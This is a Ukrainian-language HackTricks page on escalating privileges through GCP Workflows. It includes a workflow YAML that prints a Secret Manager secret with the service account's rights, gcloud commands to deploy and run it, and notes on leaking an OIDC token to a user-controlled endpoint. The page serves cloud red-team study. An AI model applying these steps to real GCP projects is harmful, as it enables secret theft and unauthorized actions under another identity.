GCP - Workflows Privesc
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Workflows
Основна інформація:
workflows.workflows.create
, iam.serviceAccounts.ActAs
, workflows.executions.create
, (workflows.workflows.get
, workflows.operations.get
)
Наскільки мені відомо, неможливо отримати shell з доступом до кінцевої точки метаданих, що містить облікові дані SA, прикріплені до Workflow. Однак можливо зловживати дозволами SA, додаючи дії для виконання всередині Workflow.
Можливо знайти документацію конекторів. Наприклад, це сторінка конектора Secretmanager. У бічній панелі можна знайти кілька інших конекторів.
І тут ви можете знайти приклад конектора, який друкує секрет:
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: "${str_secret}"
Оновлення з CLI:
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
Якщо ви отримали помилку, наприклад, ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist
, просто почекайте хвилину і спробуйте знову.
Якщо у вас немає доступу до вебу, ви можете запустити та побачити виконання Workflow за допомогою:
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
caution
Ви також можете перевірити вихідні дані попередніх виконань, щоб знайти чутливу інформацію
Зверніть увагу, що навіть якщо ви отримаєте помилку, наприклад, PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...
, тому що у вас немає цього дозволу, робочий процес був згенерований.
Leak OIDC token (і OAuth?)
Згідно з документацією, можливо використовувати кроки робочого процесу, які надсилають HTTP-запит з токеном OAuth або OIDC. Однак, як і в випадку з Cloud Scheduler, HTTP-запит з токеном Oauth повинен бути до хоста .googleapis.com
.
caution
Отже, можливо витікати OIDC токен, вказуючи HTTP-інтерфейс, контрольований користувачем, але для витоку OAuth токена вам потрібен обхід для цього захисту. Однак ви все ще можете взаємодіяти з будь-яким GCP API для виконання дій від імені SA, використовуючи або конектори, або HTTP-запити з токеном OAuth.
Oauth
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE
OIDC
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE
workflows.workflows.update
...
З цією дозволом замість workflows.workflows.create
можливо оновити вже існуючий робочий процес і виконати ті ж атаки.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.